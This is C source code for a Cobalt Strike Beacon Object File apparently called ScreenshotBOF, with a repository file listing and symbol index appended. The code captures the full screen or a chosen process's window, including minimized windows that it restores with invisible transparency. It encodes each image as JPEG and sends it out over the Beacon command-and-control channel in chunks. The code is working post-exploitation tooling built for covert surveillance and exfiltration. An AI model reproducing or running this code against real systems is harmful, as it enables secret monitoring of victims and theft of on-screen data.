typedef Status(WINAPI* PFN_GdipGetImageWidth)(GpImage*, UINT*);
typedef Status(WINAPI* PFN_GdipGetImageHeight)(GpImage*, UINT*);
typedef Status(WINAPI* PFN_GdipCloneBitmapAreaI)(INT, INT, INT, INT, PixelFormat, GpBitmap*, GpBitmap**);

static PFN_GdiplusStartup pGdiplusStartup = NULL;
static PFN_GdiplusShutdown pGdiplusShutdown = NULL;
static PFN_GdipCreateBitmapFromHBITMAP pGdipCreateBitmapFromHBITMAP = NULL;
static PFN_GdipDisposeImage pGdipDisposeImage = NULL;
static PFN_GdipSaveImageToStream pGdipSaveImageToStream = NULL;
static PFN_GdipBitmapLockBits pGdipBitmapLockBits = NULL;
static PFN_GdipBitmapUnlockBits pGdipBitmapUnlockBits = NULL;
static PFN_GdipGetImageWidth pGdipGetImageWidth = NULL;
static PFN_GdipGetImageHeight pGdipGetImageHeight = NULL;
static PFN_GdipCloneBitmapAreaI pGdipCloneBitmapAreaI = NULL;

void ResolveGdiPlus()
{
    HMODULE hGdiPlus = GetModuleHandleA("gdiplus.dll");
    hGdiPlus = LoadLibraryA("gdiplus.dll");
    pGdiplusStartup = (PFN_GdiplusStartup)GetProcAddress(hGdiPlus, "GdiplusStartup");
    pGdiplusShutdown = (PFN_GdiplusShutdown)GetProcAddress(hGdiPlus, "GdiplusShutdown");
    pGdipCreateBitmapFromHBITMAP = (PFN_GdipCreateBitmapFromHBITMAP)GetProcAddress(hGdiPlus, "GdipCreateBitmapFromHBITMAP");
    pGdipDisposeImage = (PFN_GdipDisposeImage)GetProcAddress(hGdiPlus, "GdipDisposeImage");
    pGdipSaveImageToStream = (PFN_GdipSaveImageToStream)GetProcAddress(hGdiPlus, "GdipSaveImageToStream");
    pGdipBitmapLockBits = (PFN_GdipBitmapLockBits)GetProcAddress(hGdiPlus, "GdipBitmapLockBits");
    pGdipBitmapUnlockBits = (PFN_GdipBitmapUnlockBits)GetProcAddress(hGdiPlus, "GdipBitmapUnlockBits");
    pGdipGetImageWidth = (PFN_GdipGetImageWidth)GetProcAddress(hGdiPlus, "GdipGetImageWidth");
    pGdipGetImageHeight = (PFN_GdipGetImageHeight)GetProcAddress(hGdiPlus, "GdipGetImageHeight");
    pGdipCloneBitmapAreaI = (PFN_GdipCloneBitmapAreaI)GetProcAddress(hGdiPlus, "GdipCloneBitmapAreaI");
}

//-------------------------------------------------------------
// Download file over Beacon
// credit: https://github.com/anthemtotheego/CredBandit/blob/e2e804a19a09003fa6a054a76f322adb32cd7adc/src/credBandit.c#L10
//-------------------------------------------------------------
void downloadFile(char* fileName, int downloadFileNameLength, char* returnData, int fileSize)
{
    time_t t;
    MSVCRT$srand((unsigned)MSVCRT$time(&t));
    int fileId = MSVCRT$rand();

    int messageLength = downloadFileNameLength + 8;
    char* packedData = (char*)MSVCRT$malloc(messageLength);

    /* Pack fileId (4 bytes) */
    packedData[0] = (fileId >> 24) & 0xFF;
    packedData[1] = (fileId >> 16) & 0xFF;
    packedData[2] = (fileId >> 8) & 0xFF;
    packedData[3] = fileId & 0xFF;

    /* Pack fileSize (4 bytes) */
    packedData[4] = (fileSize >> 24) & 0xFF;
    packedData[5] = (fileSize >> 16) & 0xFF;
    packedData[6] = (fileSize >> 8) & 0xFF;
    packedData[7] = fileSize & 0xFF;

    int packedIndex = 8;
    for (int i = 0; i < downloadFileNameLength; i++) {
        packedData[packedIndex++] = fileName[i];
    }
    BeaconOutput(CALLBACK_FILE, packedData, messageLength);

    int chunkSize = 1024 * 900;
    if (fileSize > chunkSize) {
        int index = 0;
        while (index < fileSize) {
            if (fileSize - index > chunkSize) {
                int chunkLength = 4 + chunkSize;
                char* packedChunk = (char*)MSVCRT$malloc(chunkLength);
                packedChunk[0] = (fileId >> 24) & 0xFF;
                packedChunk[1] = (fileId >> 16) & 0xFF;
                packedChunk[2] = (fileId >> 8) & 0xFF;
                packedChunk[3] = fileId & 0xFF;
                int chunkIndex = 4;
                for (int i = index; i < index + chunkSize; i++) {
                    packedChunk[chunkIndex++] = returnData[i];
                }
                BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength);
                free(packedChunk);
            }
            else {
                int lastChunkLength = fileSize - index + 4;
                char* lastChunk = (char*)MSVCRT$malloc(lastChunkLength);
                lastChunk[0] = (fileId >> 24) & 0xFF;
                lastChunk[1] = (fileId >> 16) & 0xFF;
                lastChunk[2] = (fileId >> 8) & 0xFF;
                lastChunk[3] = fileId & 0xFF;
                int lastChunkIndex = 4;
                for (int i = index; i < fileSize; i++) {
                    lastChunk[lastChunkIndex++] = returnData[i];
                }
                BeaconOutput(CALLBACK_FILE_WRITE, lastChunk, lastChunkLength);
                free(lastChunk);
            }
            index += chunkSize;
        }
    }
    else {
        int chunkLength = 4 + fileSize;
        char* packedChunk = (char*)MSVCRT$malloc(chunkLength);
        packedChunk[0] = (fileId >> 24) & 0xFF;
        packedChunk[1] = (fileId >> 16) & 0xFF;
        packedChunk[2] = (fileId >> 8) & 0xFF;
        packedChunk[3] = fileId & 0xFF;
        int chunkIndex = 4;
        for (int i = 0; i < fileSize; i++) {
            packedChunk[chunkIndex++] = returnData[i];
        }
        BeaconOutput(CALLBACK_FILE_WRITE, packedChunk, chunkLength);
        free(packedChunk);
    }

    char packedClose[4];
    packedClose[0] = (fileId >> 24) & 0xFF;
    packedClose[1] = (fileId >> 16) & 0xFF;
    packedClose[2] = (fileId >> 8) & 0xFF;
    packedClose[3] = fileId & 0xFF;
    BeaconOutput(CALLBACK_FILE_CLOSE, packedClose, 4);

    free(packedData);
}

//-------------------------------------------------------------
// Convert the given HBITMAP to a JPEG in memory using GDI+
// credit: https://github.com/WKL-Sec/HiddenDesktop/blob/14252f58e3f5379301f0d6334f92f8b96f321a16/client/scmain.c#L125
//-------------------------------------------------------------
BOOL BitmapToJpeg(HBITMAP hBitmap, int quality, int grayscale, BYTE** pJpegData, DWORD* pJpegSize)
{
    ResolveGdiPlus();
    if (!pGdiplusStartup || !pGdiplusShutdown || !pGdipCreateBitmapFromHBITMAP ||
        !pGdipDisposeImage || !pGdipSaveImageToStream)
    {
        return FALSE;
    }


    GdiplusStartupInput gdiplusStartupInput;
    gdiplusStartupInput.GdiplusVersion = 1;
    gdiplusStartupInput.DebugEventCallback = NULL;
    gdiplusStartupInput.SuppressBackgroundThread = FALSE;
    gdiplusStartupInput.SuppressExternalCodecs = FALSE;

    ULONG_PTR gdiplusToken = 0;
    Status stat = pGdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL);
    if (stat != Ok) {
        BeaconPrintf(CALLBACK_ERROR, "[DEBUG] GdiplusStartup failed: %d", stat);
        return FALSE;
    }
    GpBitmap* pGpBitmap = NULL;
    stat = pGdipCreateBitmapFromHBITMAP(hBitmap, NULL, &pGpBitmap);
    if (stat != Ok) {
        BeaconPrintf(CALLBACK_ERROR, "[DEBUG] GdipCreateBitmapFromHBITMAP failed: %d", stat);
        pGdiplusShutdown(gdiplusToken);
        return FALSE;
    }

    if (grayscale) {
        UINT width = 0, height = 0;
        if (pGdipGetImageWidth && pGdipGetImageHeight) {
            Status wStatus = pGdipGetImageWidth((GpImage*)pGpBitmap, &width);
            Status hStatus = pGdipGetImageHeight((GpImage*)pGpBitmap, &height);
            if (wStatus != Ok || hStatus != Ok) {
                BeaconPrintf(CALLBACK_ERROR, "[DEBUG] Failed to get image dimensions: wStatus=%d hStatus=%d", wStatus, hStatus);
            }
        } else {
            BeaconPrintf(CALLBACK_ERROR, "[DEBUG] GDI+ dimension helpers not resolved");
        }

        if (width && height && pGdipBitmapLockBits && pGdipBitmapUnlockBits) {
            GpBitmap* pTarget = pGpBitmap;
            if (pGdipCloneBitmapAreaI) {
                GpBitmap* pCloned = NULL;
                Status cloneStatus = pGdipCloneBitmapAreaI(0, 0, (INT)width, (INT)height, PixelFormat24bppRGB, pGpBitmap, &pCloned);
                if (cloneStatus == Ok && pCloned) {
                    pTarget = pCloned;
                } else {
                    BeaconPrintf(CALLBACK_ERROR, "[DEBUG] GdipCloneBitmapAreaI failed: %d", cloneStatus);
                }
            }

            GpRect rect = { 0, 0, (INT)width, (INT)height };
            BitmapData data;
            Status lockStatus = pGdipBitmapLockBits(pTarget, &rect, ImageLockModeWrite | ImageLockModeRead, PixelFormat24bppRGB, &data);
            if (lockStatus == Ok) {
                BYTE* scan0 = (BYTE*)data.Scan0;
                for (UINT y = 0; y < height; y++) {
                    BYTE* row = scan0 + y * data.Stride;
                    for (UINT x = 0; x < width; x++) {
                        BYTE* px = row + x * 3;
                        BYTE b = px[0], g = px[1], r = px[2];
                        BYTE gray = (BYTE)((r * 77 + g * 150 + b * 29) >> 8);
                        px[0] = gray;
                        px[1] = gray;
                        px[2] = gray;
                    }
                }
                pGdipBitmapUnlockBits(pTarget, &data);
                if (pTarget != pGpBitmap) {
                    pGdipDisposeImage((GpImage*)pGpBitmap);
                    pGpBitmap = pTarget;
                }
            } else {
                BeaconPrintf(CALLBACK_ERROR, "[DEBUG] GdipBitmapLockBits failed: %d", lockStatus);
                if (pTarget != pGpBitmap) {
                    pGdipDisposeImage((GpImage*)pTarget);
                }
            }
        }
    }
    IStream* pStream = NULL;
    if (CreateStreamOnHGlobal(NULL, TRUE, &pStream) != S_OK) {
        BeaconPrintf(CALLBACK_ERROR, "[DEBUG] CreateStreamOnHGlobal failed");
        pGdipDisposeImage((GpImage*)pGpBitmap);
        pGdiplusShutdown(gdiplusToken);
        return FALSE;
    }

    EncoderParameters encoderParams;
    encoderParams.Count = 1;
    CLSID clsidEncoderQuality = { 0x1d5be4b5, 0xfa4a, 0x452d, {0x9c,0xdd,0x5d,0xb3,0x51,0x05,0xe7,0xeb} };
    encoderParams.Parameter[0].Guid = clsidEncoderQuality;
    encoderParams.Parameter[0].NumberOfValues = 1;
    encoderParams.Parameter[0].Type = EncoderParameterValueTypeLong;
    encoderParams.Parameter[0].Value = &quality;

    CLSID clsidJPEG = { 0x557cf401, 0x1a04, 0x11d3, {0x9a,0x73,0x00,0x00,0xf8,0x1e,0xf3,0x2e} };

    stat = pGdipSaveImageToStream((GpImage*)pGpBitmap, pStream, &clsidJPEG, &encoderParams);
    if (stat != Ok) {
        BeaconPrintf(CALLBACK_ERROR, "[DEBUG] GdipSaveImageToStream failed: %d", stat);
        pStream->Release();
        pGdipDisposeImage((GpImage*)pGpBitmap);
        pGdiplusShutdown(gdiplusToken);
        return FALSE;
    }

    LARGE_INTEGER liZero = { 0 };
    ULARGE_INTEGER uliSize = { 0 };
    if (pStream->Seek(liZero, STREAM_SEEK_END, &uliSize) != S_OK) {
        BeaconPrintf(CALLBACK_ERROR, "[DEBUG] Seek to end failed");
        pStream->Release();
        pGdipDisposeImage((GpImage*)pGpBitmap);
        pGdiplusShutdown(gdiplusToken);
        return FALSE;
    }

    *pJpegSize = (DWORD)uliSize.QuadPart;
    *pJpegData = (BYTE*)malloc(*pJpegSize);
    if (!*pJpegData) {
        pStream->Release();
        pGdipDisposeImage((GpImage*)pGpBitmap);
        pGdiplusShutdown(gdiplusToken);
        return FALSE;
    }

    if (pStream->Seek(liZero, STREAM_SEEK_SET, NULL) != S_OK) {
        free(*pJpegData);
        pStream->Release();
        pGdipDisposeImage((GpImage*)pGpBitmap);
        pGdiplusShutdown(gdiplusToken);
        return FALSE;
    }

    ULONG bytesRead = 0;
    if (pStream->Read(*pJpegData, *pJpegSize, &bytesRead) != S_OK || bytesRead != *pJpegSize) {
        free(*pJpegData);
        pStream->Release();
        pGdipDisposeImage((GpImage*)pGpBitmap);
        pGdiplusShutdown(gdiplusToken);
        return FALSE;
    }

    pStream->Release();
    pGdipDisposeImage((GpImage*)pGpBitmap);
    pGdiplusShutdown(gdiplusToken);
    return TRUE;
}

//-------------------------------------------------------------
// Save (or download) the given HBITMAP as a JPEG file with the provided filename
//-------------------------------------------------------------
BOOL SaveHBITMAPToFile(HBITMAP hBitmap, LPCTSTR lpszFileName, int savemethod, int grayscale, int quality, int scale)
{
    ResolveAPIs();

    BYTE* jpegData = NULL;
    DWORD jpegSize = 0;
    HBITMAP hWork = hBitmap;
    HBITMAP hScaled = NULL;

#ifndef HALFTONE
#define HALFTONE 4
#endif

    if (scale > 0 && scale != 100 && pGetObjectA && pCreateCompatibleDC && pCreateCompatibleBitmap &&
        pSelectObject && pStretchBlt && pSetStretchBltMode && pGetDC && pReleaseDC) {
        BITMAP bm = { 0 };
        if (pGetObjectA(hBitmap, sizeof(BITMAP), &bm)) {
            int newW = (bm.bmWidth * scale) / 100;
            int newH = (bm.bmHeight * scale) / 100;
            if (newW > 0 && newH > 0) {
                HDC hScreen = pGetDC(NULL);
                HDC hSrcDC = pCreateCompatibleDC(hScreen);
                HDC hDstDC = pCreateCompatibleDC(hScreen);
                HGDIOBJ oldSrc = pSelectObject(hSrcDC, hBitmap);
                hScaled = pCreateCompatibleBitmap(hScreen, newW, newH);
                if (hScaled) {
                    HGDIOBJ oldDst = pSelectObject(hDstDC, hScaled);
                    pSetStretchBltMode(hDstDC, HALFTONE);
                    if (pStretchBlt(hDstDC, 0, 0, newW, newH, hSrcDC, 0, 0, bm.bmWidth, bm.bmHeight, SRCCOPY)) {
                        hWork = hScaled;
                    }
                    pSelectObject(hDstDC, oldDst);
                }
                pSelectObject(hSrcDC, oldSrc);
                pDeleteDC(hSrcDC);
                pDeleteDC(hDstDC);
                pReleaseDC(NULL, hScreen);
            }
        }
    }


    if (!BitmapToJpeg(hWork, quality, grayscale, &jpegData, &jpegSize)) {
        BeaconPrintf(CALLBACK_ERROR, "[DEBUG] Failed to convert bitmap to JPEG");
        if (hScaled)
            pDeleteObject(hScaled);
        return FALSE;
    }
    if (hScaled)
        pDeleteObject(hScaled);

    if (savemethod == 0) {
        BeaconPrintf(CALLBACK_OUTPUT, "Saving JPEG to disk with filename %s", lpszFileName);
        HANDLE fh = pCreateFileA(lpszFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
            FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, NULL);
        if (fh == INVALID_HANDLE_VALUE) {
            free(jpegData);
            return FALSE;
        }
        DWORD dwWritten;
        pWriteFile(fh, (LPSTR)jpegData, jpegSize, &dwWritten, NULL);
        pCloseHandle(fh);
    }
    else if (savemethod == 1) {
        BeaconPrintf(CALLBACK_OUTPUT, "Downloading JPEG over beacon as a file with filename %s", lpszFileName);
        downloadFile((char*)lpszFileName, (int)strlen(lpszFileName), (char*)jpegData, (int)jpegSize);
    }
    else if (savemethod == 2) {
        BeaconPrintf(CALLBACK_OUTPUT, "Downloading JPEG over beacon as a screenshot with filename %s", lpszFileName);
        
        DWORD session = -1;
        if (pGetCurrentProcessId && pProcessIdToSessionId) {
            pProcessIdToSessionId(pGetCurrentProcessId(), &session);
        } else {
            BeaconPrintf(CALLBACK_ERROR, "[DEBUG] Failed to resolve GetCurrentProcessId or ProcessIdToSessionId");
        }

        char* user = (char*)pgetenv("USERNAME");
        char title[] = "Screenshot";
        int userLength = MSVCRT$_snprintf(NULL, 0, "%s", user);
        int titleLength = MSVCRT$_snprintf(NULL, 0, "%s", title);

        downloadScreenshot((char*)jpegData, (int)jpegSize,
                           session,
                           (char*)title, titleLength,
                           (char*)user, userLength);
    }
    else {
        BeaconPrintf(CALLBACK_ERROR, "Unknown savemethod specified: %d", savemethod);
        free(jpegData);
        return FALSE;
    }

    free(jpegData);
    return TRUE;
}

//-------------------------------------------------------------
// Callback for EnumWindows. It gets a window handle from a PID.
//-------------------------------------------------------------
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
    /* lParam points to a two–element array:
       index 0: the target PID (stored as LONG_PTR)
       index 1: the found window handle (initially 0)
    */
    LONG_PTR* params = (LONG_PTR*)lParam;
    DWORD targetPid = (DWORD)params[0];
    DWORD windowPid = 0;
    pGetWindowThreadProcessId(hwnd, &windowPid);
    if (windowPid == targetPid && IsWindowVisible(hwnd)) {
        params[1] = (LONG_PTR)hwnd;
        return FALSE;
    }
    return TRUE;
}

//-------------------------------------------------------------
// Given a PID, uses EnumWindows to find a matching window handle.
//-------------------------------------------------------------
HWND FindWindowByPID(DWORD pid, int debug)
{
    ResolveAPIs();
    LONG_PTR params[2];
    params[0] = (LONG_PTR)pid;
    params[1] = 0;
    if (debug)
        BeaconPrintf(CALLBACK_OUTPUT, "[DEBUG] Enumerating windows for PID %d", pid);
    EnumWindows(EnumWindowsProc, (LPARAM)&params);
    if (debug) {
        if ((HWND)params[1])
            BeaconPrintf(CALLBACK_OUTPUT, "[DEBUG] Found window handle: 0x%p", (HWND)params[1]);
        else
            BeaconPrintf(CALLBACK_OUTPUT, "[DEBUG] No window found for PID %d", pid);
    }
    return (HWND)params[1];
}

//-------------------------------------------------------------
// Capture the given window (by hwnd) into an HBITMAP.
// If the window is minimized, it is temporarily restored.
//-------------------------------------------------------------
HBITMAP CaptureWindow(HWND hwnd, int debug)
{
    ResolveAPIs();
    if (debug)
        BeaconPrintf(CALLBACK_OUTPUT, "[DEBUG] Starting CaptureWindow for hwnd 0x%p", hwnd);

    WINDOWPLACEMENT wp = { 0 };
    wp.length = sizeof(WINDOWPLACEMENT);
    if (!pGetWindowPlacement(hwnd, &wp)) {
        BeaconPrintf(CALLBACK_ERROR, "[DEBUG] GetWindowPlacement failed");
        return NULL;
    }
    if (debug)
        BeaconPrintf(CALLBACK_OUTPUT, "[DEBUG] Window showCmd: %d", wp.showCmd);

    RECT captureRect;
    int width, height;
    BOOL success = FALSE;
    HDC hdcScreen = pGetDC(NULL);
    HDC hdcMem = pCreateCompatibleDC(hdcScreen);
    HBITMAP hBitmap = NULL;

    if (wp.showCmd == SW_SHOWMINIMIZED) {
        if (debug)
            BeaconPrintf(CALLBACK_OUTPUT, "[DEBUG] Window is minimized; restoring temporarily for capture");

        LONG exStyle = GetWindowLong(hwnd, GWL_EXSTYLE);
        pSetWindowLongA(hwnd, GWL_EXSTYLE, exStyle | WS_EX_LAYERED | WS_EX_TOOLWINDOW);
        pSetLayeredWindowAttributes(hwnd, 0, 0, LWA_ALPHA);
        pShowWindow(hwnd, SW_RESTORE);
        pUpdateWindow(hwnd);
        pSleep(500);  /* Allow time for rendering */

        if (!pGetWindowRect(hwnd, &captureRect)) {
            BeaconPrintf(CALLBACK_ERROR, "[DEBUG] GetWindowRect failed (restored window)");
            goto cleanup;
        }
        width = captureRect.right - captureRect.left;
        height = captureRect.bottom - captureRect.top;
        if (debug)
            BeaconPrintf(CALLBACK_OUTPUT, "[DEBUG] Restored window dimensions: %d x %d", width, height);
        if (width <= 0 || height <= 0) {
            BeaconPrintf(CALLBACK_ERROR, "[DEBUG] Invalid window dimensions");
            goto cleanup;
        }
        hBitmap = pCreateCompatibleBitmap(hdcScreen, width, height);
        if (!hBitmap) {
            BeaconPrintf(CALLBACK_ERROR, "[DEBUG] Failed to create compatible bitmap");
            goto cleanup;
        }
        pSelectObject(hdcMem, hBitmap);
        success = pPrintWindow(hwnd, hdcMem, PW_RENDERFULLCONTENT);
        if (!success) {
            if (debug)
                BeaconPrintf(CALLBACK_OUTPUT, "[DEBUG] PrintWindow failed; falling back to BitBlt");
            success = pBitBlt(hdcMem, 0, 0, width, height,
                hdcScreen, captureRect.left, captureRect.top, SRCCOPY);
            if (!success)
                BeaconPrintf(CALLBACK_ERROR, "[DEBUG] Both PrintWindow and BitBlt failed");
        }
        /* Restore window state */
        pShowWindow(hwnd, SW_MINIMIZE);
        pSetWindowLongA(hwnd, GWL_EXSTYLE, exStyle);
        pSetWindowPos(hwnd, NULL, 0, 0, 0, 0,
            SWP_NOMOVE | SWP_NOSIZE | SWP_NOZORDER | SWP_FRAMECHANGED);
    }
    else {
        if (!pGetWindowRect(hwnd, &captureRect)) {
            BeaconPrintf(CALLBACK_ERROR, "[DEBUG] GetWindowRect failed");
            goto cleanup;
        }
        width = captureRect.right - captureRect.left;
        height = captureRect.bottom - captureRect.top;
        if (debug)
            BeaconPrintf(CALLBACK_OUTPUT, "[DEBUG] Window dimensions: %d x %d", width, height);
        if (width <= 0 || height <= 0) {
            BeaconPrintf(CALLBACK_ERROR, "[DEBUG] Invalid window dimensions");
            goto cleanup;
        }
        hBitmap = pCreateCompatibleBitmap(hdcScreen, width, height);
        if (!hBitmap) {
            BeaconPrintf(CALLBACK_ERROR, "[DEBUG] Failed to create compatible bitmap");
            goto cleanup;
        }
        pSelectObject(hdcMem, hBitmap);

        /* Attempt to use PrintWindow to capture the full contents,
           even if the window is in the background */
        success = pPrintWindow(hwnd, hdcMem, PW_RENDERFULLCONTENT);
        if (!success) {
            if (debug)
                BeaconPrintf(CALLBACK_OUTPUT, "[DEBUG] PrintWindow failed; falling back to BitBlt");
            success = pBitBlt(hdcMem, 0, 0, width, height,
                hdcScreen, captureRect.left, captureRect.top, SRCCOPY);
            if (!success)
                BeaconPrintf(CALLBACK_ERROR, "[DEBUG] Both PrintWindow and BitBlt failed");
        }
    }

cleanup:
    if (hdcMem)
        pDeleteDC(hdcMem);
    if (hdcScreen)
        pReleaseDC(NULL, hdcScreen);
    if (!success) {
        if (hBitmap)
            pDeleteObject(hBitmap);
        if (debug)
            BeaconPrintf(CALLBACK_OUTPUT, "[DEBUG] CaptureWindow failed");
        return NULL;
    }
    if (debug)
        BeaconPrintf(CALLBACK_OUTPUT, "[DEBUG] CaptureWindow succeeded");
    return hBitmap;
}

//-------------------------------------------------------------
// go:
// BOF args:
//   1. Filename 
//   2. Save method: 0 = save to disk, 1 = download via Beacon, 2 = downloadScreenshot.
//   3. PID: if nonzero, capture that window; if zero, capture the full screen.
//-------------------------------------------------------------
#ifdef BOF
int debug = 0; // enable debugging prints
void go(char* buff, int len)
{
    ResolveAPIs();  // Ensure API pointers are resolved

    datap parser;
    BeaconDataParse(&parser, buff, len);

    char* filename = BeaconDataExtract(&parser, NULL);
    int savemethod = BeaconDataInt(&parser);
    int pid = BeaconDataInt(&parser);
    int grayscale = BeaconDataInt(&parser);
    int quality = BeaconDataInt(&parser);
    int scale = BeaconDataInt(&parser);
    if (quality < 0) quality = 0;
    if (quality > 100) quality = 100;
    if (scale < 1) scale = 100;
    if (scale > 1000) scale = 1000; // cap to prevent huge allocations

    if (debug)
        BeaconPrintf(CALLBACK_OUTPUT, "[DEBUG] go() called with filename: %s, savemethod: %d, pid: %d, grayscale: %d, quality: %d, scale: %d, debug: %d", filename, savemethod, pid, grayscale, quality, scale, debug);
    
    BOOL dpi = SetProcessDPIAware(); // Set DPI awareness to fix incomplete screenshots
    
    HBITMAP hBitmap = NULL;
    if (pid != 0) {
        if (debug)
            BeaconPrintf(CALLBACK_OUTPUT, "[DEBUG] Attempting to capture window for PID %d", pid);
        HWND hwnd = FindWindowByPID((DWORD)pid, debug);
        if (hwnd == NULL) {
            BeaconPrintf(CALLBACK_ERROR, "[DEBUG] Window with PID %d not found", pid);
            return;
        }
        hBitmap = CaptureWindow(hwnd, debug);
        if (hBitmap == NULL) {
            BeaconPrintf(CALLBACK_ERROR, "[DEBUG] Failed to capture window with PID %d", pid);
            return;
        }
    }
    else {
        if (debug)
            BeaconPrintf(CALLBACK_OUTPUT, "[DEBUG] Capturing full screen");
        int x1 = pGetSystemMetrics(SM_XVIRTUALSCREEN);
        int y1 = pGetSystemMetrics(SM_YVIRTUALSCREEN);
        int w = pGetSystemMetrics(SM_CXVIRTUALSCREEN);
        int h = pGetSystemMetrics(SM_CYVIRTUALSCREEN);
        HDC hScreen = pGetDC(NULL);
        if (hScreen == NULL) {
            BeaconPrintf(CALLBACK_ERROR, "[DEBUG] pGetDC(NULL) returned NULL. Last error: %lu", GetLastError());
            return; 
        }
        
        HDC hDC = pCreateCompatibleDC(hScreen);
        if (hDC == NULL) {
            BeaconPrintf(CALLBACK_ERROR, "[DEBUG] pCreateCompatibleDC failed. Last error: %lu", GetLastError());
            pReleaseDC(NULL, hScreen); 
            return;
        }
        hBitmap = pCreateCompatibleBitmap(hScreen, w, h);
        if (!hBitmap) {
            BeaconPrintf(CALLBACK_ERROR, "[DEBUG] Failed to create full screen bitmap");
            pReleaseDC(NULL, hScreen);
            pDeleteDC(hDC);
            return;
        }
        
        BeaconPrintf(CALLBACK_OUTPUT, "[DEBUG] GetDC: %p",hScreen);
        BeaconPrintf(CALLBACK_OUTPUT, "[DEBUG] CreateCompatibleDC returned: %p",hDC);
        BeaconPrintf(CALLBACK_OUTPUT, "[DEBUG] CreateCompatibleBitmap returned: %p",hBitmap);

        HGDIOBJ old_obj = pSelectObject(hDC, hBitmap);
        if (!pBitBlt(hDC, 0, 0, w, h, hScreen, x1, y1, SRCCOPY)) {
            DWORD errorCode = GetLastError();
            BeaconPrintf(CALLBACK_ERROR,
                         "[DEBUG] BitBlt failed for full screen capture. Error code: %lu",
                         errorCode);
        

            BeaconPrintf(CALLBACK_ERROR,
                         "[DEBUG] hDC: %p, hScreen: %p, old_obj: %p",
                         hDC, hScreen, old_obj);
            BeaconPrintf(CALLBACK_ERROR,
                         "[DEBUG] Screen region: x1: %d, y1: %d, width: %d, height: %d",
                         x1, y1, w, h);
        

            if (hScreen == NULL) {
                BeaconPrintf(CALLBACK_ERROR, "[DEBUG] hScreen is NULL (handle invalid)");
            } else {
                DWORD flags = 0;
                if (!pGetHandleInformation(hScreen, &flags)) {
                    DWORD errorCode = GetLastError();
                    BeaconPrintf(CALLBACK_ERROR, "[DEBUG] hScreen appears invalid (pGetHandleInformation failed) - Error code: %lu",errorCode);
                } else {
                    BeaconPrintf(CALLBACK_OUTPUT, "[DEBUG] hScreen is valid (flags: 0x%lx)", flags);
                }
            }
        
            // Check hDC
            if (hDC == NULL) {
                BeaconPrintf(CALLBACK_ERROR, "[DEBUG] hDC is NULL (handle invalid)");
            } else {
                DWORD flags = 0;
                if (!pGetHandleInformation(hDC, &flags)) {
                    BeaconPrintf(CALLBACK_ERROR, "[DEBUG] hDC appears invalid (pGetHandleInformation failed) - Error code: %lu",errorCode);
                } else {
                    BeaconPrintf(CALLBACK_OUTPUT, "[DEBUG] hDC is valid (flags: 0x%lx)", flags);
                }
            }
        }
        pSelectObject(hDC, old_obj);
        pDeleteDC(hDC);
        pReleaseDC(NULL, hScreen);
    }

    if (hBitmap) {
        if (debug)
            BeaconPrintf(CALLBACK_OUTPUT, "[DEBUG] Captured bitmap successfully; saving/downloading as %s", filename);
        if (!SaveHBITMAPToFile(hBitmap, filename, savemethod, grayscale, quality, scale))
            BeaconPrintf(CALLBACK_ERROR, "[DEBUG] Failed to save JPEG");
        else
            BeaconPrintf(CALLBACK_OUTPUT, "Screenshot saved/downloaded successfully", filename);
        pDeleteObject(hBitmap);
    }
}
#else
void main(int argc, char* argv[])
{
    /* Non-BOF main() implementation (if needed) */
}
#endif
Download .txt
gitextract_truwui5c/

├── .gitignore
├── LICENSE
├── Makefile
├── README.md
├── ScreenshotBOF/
│   ├── ScreenshotBOF.x64.obj
│   ├── ScreenshotBOF.x86.obj
│   ├── screenshotBOF.cna
│   └── screenshotBOF.py
├── beacon.h
├── bofdefs.h
├── common/
│   ├── anticrash.c
│   ├── base.c
│   ├── beacon.h
│   ├── bofdefs.h
│   ├── queue.c
│   ├── stack.c
│   ├── wmi.c
│   └── wmi.h
└── entry.cpp
Download .txt
SYMBOL INDEX (51 symbols across 10 files)

FILE: ScreenshotBOF/screenshotBOF.py
  function screenshot_bof (line 3) | def screenshot_bof(

FILE: beacon.h
  type datap (line 13) | typedef struct {
  type formatp (line 27) | typedef struct {

FILE: common/base.c
  function bofstart (line 22) | int bofstart()
  function internal_printf (line 29) | void internal_printf(const char* format, ...){
  function printoutput (line 81) | void printoutput(BOOL done)
  type loadedLibrary (line 105) | typedef struct loadedLibrary {
  function BOOL (line 112) | BOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget)
  function FARPROC (line 140) | FARPROC DynamicLoad(const char * szLibrary, const char * szFunction)
  function bofstop (line 218) | void bofstop()

FILE: common/beacon.h
  type datap (line 14) | typedef struct {
  type formatp (line 28) | typedef struct {

FILE: common/bofdefs.h
  type tm (line 150) | struct tm
  type ADDRINFOA (line 293) | typedef struct addrinfo {
  type sockaddr (line 305) | struct sockaddr
  type addrinfo (line 307) | struct addrinfo
  type addrinfo (line 308) | struct addrinfo
  type addrinfo (line 308) | struct addrinfo
  type in_addr (line 311) | struct in_addr
  type timeval (line 313) | struct timeval
  type fd_set (line 315) | struct fd_set
  type berval (line 412) | struct berval
  type l_timeval (line 416) | struct l_timeval

FILE: common/queue.c
  type item (line 4) | typedef struct _item{
  type queue (line 9) | typedef struct _queue{\
  function _push (line 17) | void _push(Pqueue q, void * v)
  function _free (line 57) | void _free(Pqueue q)
  function Pqueue (line 62) | Pqueue queueInit()

FILE: common/stack.c
  type item (line 4) | typedef struct _item{
  type stack (line 10) | typedef struct _stack{\
  function _push (line 18) | void _push(Pstack q, void * v)
  function _free (line 60) | void _free(Pstack q)
  function Pstack (line 66) | Pstack stackInit()

FILE: common/wmi.c
  function HRESULT (line 45) | HRESULT Wmi_Initialize(WMI* pWmi)
  function HRESULT (line 92) | HRESULT Wmi_Connect(
  function HRESULT (line 166) | HRESULT Wmi_Query(
  function HRESULT (line 205) | HRESULT Wmi_ParseResults(
  function HRESULT (line 356) | HRESULT Wmi_ParseAllResults(
  function Wmi_Finalize (line 495) | void Wmi_Finalize(

FILE: common/wmi.h
  type WMI (line 11) | typedef struct _Wmi {

FILE: entry.cpp
  function downloadScreenshot (line 37) | void downloadScreenshot(char* jpg, int jpgLen, int session, char* window...
  function ResolveAPIs (line 200) | void ResolveAPIs(void)
  function ResolveGdiPlus (line 274) | void ResolveGdiPlus()
  function downloadFile (line 294) | void downloadFile(char* fileName, int downloadFileNameLength, char* retu...
